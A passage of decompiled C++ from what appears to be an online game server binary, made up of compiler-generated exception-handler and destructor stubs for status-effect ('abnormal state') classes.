a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 84)); } //----- (0058C84F) -------------------------------------------------------- void __usercall _L171271(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 88)); } //----- (0058C85A) -------------------------------------------------------- void __usercall _L171272(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 92)); } //----- (0058C865) -------------------------------------------------------- void __usercall _L171273(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 96)); } //----- (0058C870) -------------------------------------------------------- void __usercall _L171274(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 100)); } //----- (0058C87B) -------------------------------------------------------- void __usercall _L171275(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 104)); } //----- (0058C886) -------------------------------------------------------- void __usercall _L171276(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 108)); } //----- (0058C891) -------------------------------------------------------- void __usercall _L171277(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 112)); } //----- (0058C89C) -------------------------------------------------------- void __usercall _L171278(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 116)); } //----- (0058C8A7) -------------------------------------------------------- void __usercall _L171279(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 120)); } //----- (0058C8B2) -------------------------------------------------------- void __usercall _L171280(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 124)); } //----- (0058C8BD) -------------------------------------------------------- void __usercall _L171281(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 128)); } //----- (0058C8CB) -------------------------------------------------------- void __usercall _L171282(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 132)); } //----- (0058C8D9) -------------------------------------------------------- void __usercall _L171283(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 136)); } //----- (0058C8E7) -------------------------------------------------------- void __usercall _L171284(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 140)); } //----- (0058C8F5) -------------------------------------------------------- void __usercall _L171285(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 144)); } //----- (0058C903) -------------------------------------------------------- void __usercall _L171286(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 148)); } //----- (0058C911) -------------------------------------------------------- void __usercall _L171287(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 152)); } //----- (0058C91F) -------------------------------------------------------- void __usercall _L171288(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 156)); } //----- (0058C92D) -------------------------------------------------------- void __usercall _L171289(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 160)); } //----- (0058C93B) -------------------------------------------------------- void __usercall _L171290(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 164)); } //----- (0058C949) -------------------------------------------------------- void __usercall _L171291(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 168)); } //----- (0058C957) -------------------------------------------------------- void __usercall _L171292(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 172)); } //----- (0058C965) -------------------------------------------------------- void __usercall _L171293(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 176)); } //----- (0058C973) -------------------------------------------------------- void __usercall _L171294(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 180)); } //----- (0058C981) -------------------------------------------------------- void __usercall _L171295(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 184)); } //----- (0058C98F) -------------------------------------------------------- void __usercall _L171296(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 188)); } //----- (0058C99D) -------------------------------------------------------- void __usercall _L171297(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 192)); } //----- (0058C9AB) -------------------------------------------------------- void __usercall _L171298(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 196)); } //----- (0058C9B9) -------------------------------------------------------- void __usercall _L171299(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 200)); } //----- (0058C9C7) -------------------------------------------------------- void __usercall _L171300(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 204)); } //----- (0058C9D5) -------------------------------------------------------- void __usercall _L171301(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 208)); } //----- (0058C9E3) -------------------------------------------------------- void __usercall _L171302(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 212)); } //----- (0058C9F1) -------------------------------------------------------- void __usercall _L171303(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 216)); } //----- (0058C9FF) -------------------------------------------------------- void __usercall _L171304(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 220)); } //----- (0058CA0D) -------------------------------------------------------- void __usercall _L171305(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 224)); } //----- (0058CA1B) -------------------------------------------------------- void __usercall _L171306(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 228)); } //----- (0058CA29) -------------------------------------------------------- void __usercall _L171307(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 232)); } //----- (0058CA37) -------------------------------------------------------- void __usercall _L171308(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 236)); } //----- (0058CA45) -------------------------------------------------------- void __usercall _L171309(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 240)); } //----- (0058CA53) -------------------------------------------------------- void __usercall _L171310(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 244)); } //----- (0058CA61) -------------------------------------------------------- void __usercall _L171311(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 248)); } //----- (0058CA6F) -------------------------------------------------------- void __usercall _L171312(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 252)); } //----- (0058CA7D) -------------------------------------------------------- void __usercall _L171313(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 256)); } //----- (0058CA8B) -------------------------------------------------------- void __usercall _L171314(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 260)); } //----- (0058CA99) -------------------------------------------------------- void __usercall _L171315(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 264)); } //----- (0058CAA7) -------------------------------------------------------- void __usercall _L171316(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 268)); } //----- (0058CAB5) -------------------------------------------------------- void __usercall _L171317(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 272)); } //----- (0058CAC3) -------------------------------------------------------- void __usercall _L171318(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 276)); } //----- (0058CAD1) -------------------------------------------------------- void __usercall _L171319(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 280)); } //----- (0058CADF) -------------------------------------------------------- void __usercall _L171320(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 284)); } //----- (0058CAED) -------------------------------------------------------- void __usercall _L171321(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 288)); } //----- (0058CAFB) -------------------------------------------------------- void __usercall _L171322(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 292)); } //----- (0058CB09) -------------------------------------------------------- void __usercall _L171323(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 296)); } //----- (0058CB17) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ActorCluster_AbnormalStateContainer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CB30) -------------------------------------------------------- void __usercall _L172447(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058CB38) -------------------------------------------------------- void __usercall _L172448(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058CB40) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__asl_Routine_AbstateListInObject_AbnormalStateContainer__QAEEPAVShineMobileObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CB50) -------------------------------------------------------- void __usercall _L173061(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0058CB58) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sasa_Act_Killed_SubAbnormalStateActorSelfRevive_AbnormalStateContainer__UAEXPAVShinePlayer_ShineObjectClass__PAVAbstateElementInObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CB70) -------------------------------------------------------- void __usercall _L173179(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0058CB78) -------------------------------------------------------- void __usercall _L173180(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (0058CB80) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ase_AttachObject_AbnormalStateReinforcedMove_AbnormalStateContainer__UAEXPAVAbstateElementInObject_2_PAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CB90) -------------------------------------------------------- void __usercall _L173360(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 4)); } //----- (0058CB98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ase_DetachObject_AbnormalStateReinforcedMove_AbnormalStateContainer__UAEXPAVAbstateElementInObject_2_PAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CBB0) -------------------------------------------------------- void __usercall _L173777(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058CBB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VAbstateElementInObject_AbnormalStateContainer____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CBD0) -------------------------------------------------------- void __usercall _L173812(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (0058CBD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_VAbstateElementInObject_AbnormalStateContainer____QAEPAVAbstateElementInObject_AbnormalStateContainer__P823_AEHPAV1_GPAV23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CBF0) -------------------------------------------------------- void __usercall _L174062(int a1) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 - 128)); } //----- (0058CBF8) -------------------------------------------------------- void __usercall _L174064(int a1) { AbnormalStateContainer::AbstateElementInObject::ASE_Tick::_ASE_Tick((AbnormalStateContainer::AbstateElementInObject::ASE_Tick *)(a1 - 108)); } //----- (0058CC00) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__asl_Abstate_IsSet_AbstateListInObject_AbnormalStateContainer__QAEPAVAbstateElementInObject_2_W4ABSTATEINDEX___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CC10) -------------------------------------------------------- void __usercall _L176414(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058CC18) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__alnsga_Buffing_AxialListNearScanGuildAcademy__QAEXHPAVShineObject_ShineObjectClass__W4ABSTATEINDEX__HPAUAbStateStr_AbState_AbnormalStateDictionary__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CC30) -------------------------------------------------------- void __usercall _L174115(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0058CC38) -------------------------------------------------------- void __usercall _L174116(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 36)); } //----- (0058CC40) -------------------------------------------------------- void __usercall _L174117(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058CC48) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mobile_DamageOverTime_ShineMobileObject_ShineObjectClass__UAEXPAVShineObject_2_HW4ABSTATEINDEX___NPAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CC60) -------------------------------------------------------- void __usercall _L174407(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058CC68) -------------------------------------------------------- void __usercall _L174408(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058CC70) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__aeo_Set_AbstateElementInObject_AbnormalStateContainer__QAEEPAVShineObject_ShineObjectClass__GHKPAUAbStateStr_AbState_AbnormalStateDictionary__0HHHW4EnchantFrom_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CC80) -------------------------------------------------------- void __usercall _L174628(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0058CC8B) -------------------------------------------------------- void __usercall _L174629(int a1) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 - 128)); } //----- (0058CC93) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__asl_AbstateReset_AbstateListInObject_AbnormalStateContainer__QAEEPAVShineObject_ShineObjectClass__W4ABSTATEINDEX___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CCA0) -------------------------------------------------------- void __usercall _L175052(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058CCA8) -------------------------------------------------------- void __usercall _L175066(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058CCB0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__asl_Store_AbstateListInObject_AbnormalStateContainer__QAEXPAVShineMobileObject_ShineObjectClass__PAUPROTO_NC_CHAR_ABSTATE_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CCC0) -------------------------------------------------------- void __usercall _L175445(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058CCC8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_smo_AbStateKeepTimeAdd_ShineMobileObject_ShineObjectClass__UAEXW4SubState__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CCE0) -------------------------------------------------------- void __usercall _L175676(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 432)); } //----- (0058CCEB) -------------------------------------------------------- void __usercall _L175677(int a1) { AxialListNearScanEnemyorAll::_AxialListNearScanEnemyorAll((AxialListNearScanEnemyorAll *)(a1 - 428)); } //----- (0058CD10) -------------------------------------------------------- void __usercall _L175763(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058CD18) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UAbnormalStateNode_AbnormalStateContainer____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CD30) -------------------------------------------------------- void __usercall _L175789(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x74u, 30, (void (__thiscall *)(void *))AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject); } //----- (0058CD43) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0AbstateListInObject_AbnormalStateContainer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CD50) -------------------------------------------------------- void __usercall _L175825(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0058CD58) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__asl_AbstateSet_AbstateListInObject_AbnormalStateContainer__QAEEPAVShineObject_ShineObjectClass__GHPAUAbStateStr_AbState_AbnormalStateDictionary__0KHHHW4EnchantFrom_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CD70) -------------------------------------------------------- void __usercall _L176116(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 848)); } //----- (0058CD7B) -------------------------------------------------------- void __usercall _L176117(int a1) { AxialListNearScanEnemyorAll::_AxialListNearScanEnemyorAll((AxialListNearScanEnemyorAll *)(a1 - 844)); } //----- (0058CD86) -------------------------------------------------------- void __usercall _L176118(int a1) { AxialListNearScanEnemyorAll::_AxialListNearScanEnemyorAll((AxialListNearScanEnemyorAll *)(a1 - 428)); } //----- (0058CD91) -------------------------------------------------------- void __usercall _L176119(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 860)); } //----- (0058CD9C) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sasa_Routine_SubAbnormalStateActorAreaDamage_AbnormalStateContainer__UAEEPAVAbstateElementInObject_2_PAVShineMobileObject_ShineObjectClass__W4ABSTATEINDEX___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CDB0) -------------------------------------------------------- void __usercall _L176458(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 432)); } //----- (0058CDD0) -------------------------------------------------------- void __usercall _L176576(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 428)); } //----- (0058CDDB) -------------------------------------------------------- void __usercall _L176577(int a1) { AxialListNearScanParty::_AxialListNearScanParty((AxialListNearScanParty *)(a1 - 424)); } //----- (0058CDE6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ase_Routine_AbnormalStatePartyEnchant_AbnormalStateContainer__UAEEPAVShineMobileObject_ShineObjectClass__GPAVAbstateElementInObject_2_PAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058CDF0) -------------------------------------------------------- void __usercall _L176702(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 428)); } //----- (0058CDFB) -------------------------------------------------------- void __usercall _L176703(int a1) { AxialListNearScanGuildAcademy::_AxialListNearScanGuildAcademy((AxialListNearScanGuildAcademy *)(a1 - 424)); } //----- (0058CE06) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ase_Routine_AbnormalStateGuildAcademyMasterEnchant_AbnormalStateContainer__UAEEPAVShineMobileObject_ShineObjectClass__GPAVAbstateElementInObject_2_PAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EBF1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0AbnormalStateList_AbnormalStateContainer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EC00) -------------------------------------------------------- void __usercall _L147205(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (0058EC08) -------------------------------------------------------- void __usercall _L147206(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 2008)); } //----- (0058EC16) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1AbState_AbnormalStateDictionary__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EC20) -------------------------------------------------------- void __usercall _L154203(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058EC28) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_Effect_UseItemJustReviveAtDead_UseEffect__UAEXPAVShineObject_ShineObjectClass__PAUItemTotalInformation__PBUUIE_Functions_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058EC40) -------------------------------------------------------- void __usercall _L148982(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (0058EC48) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl 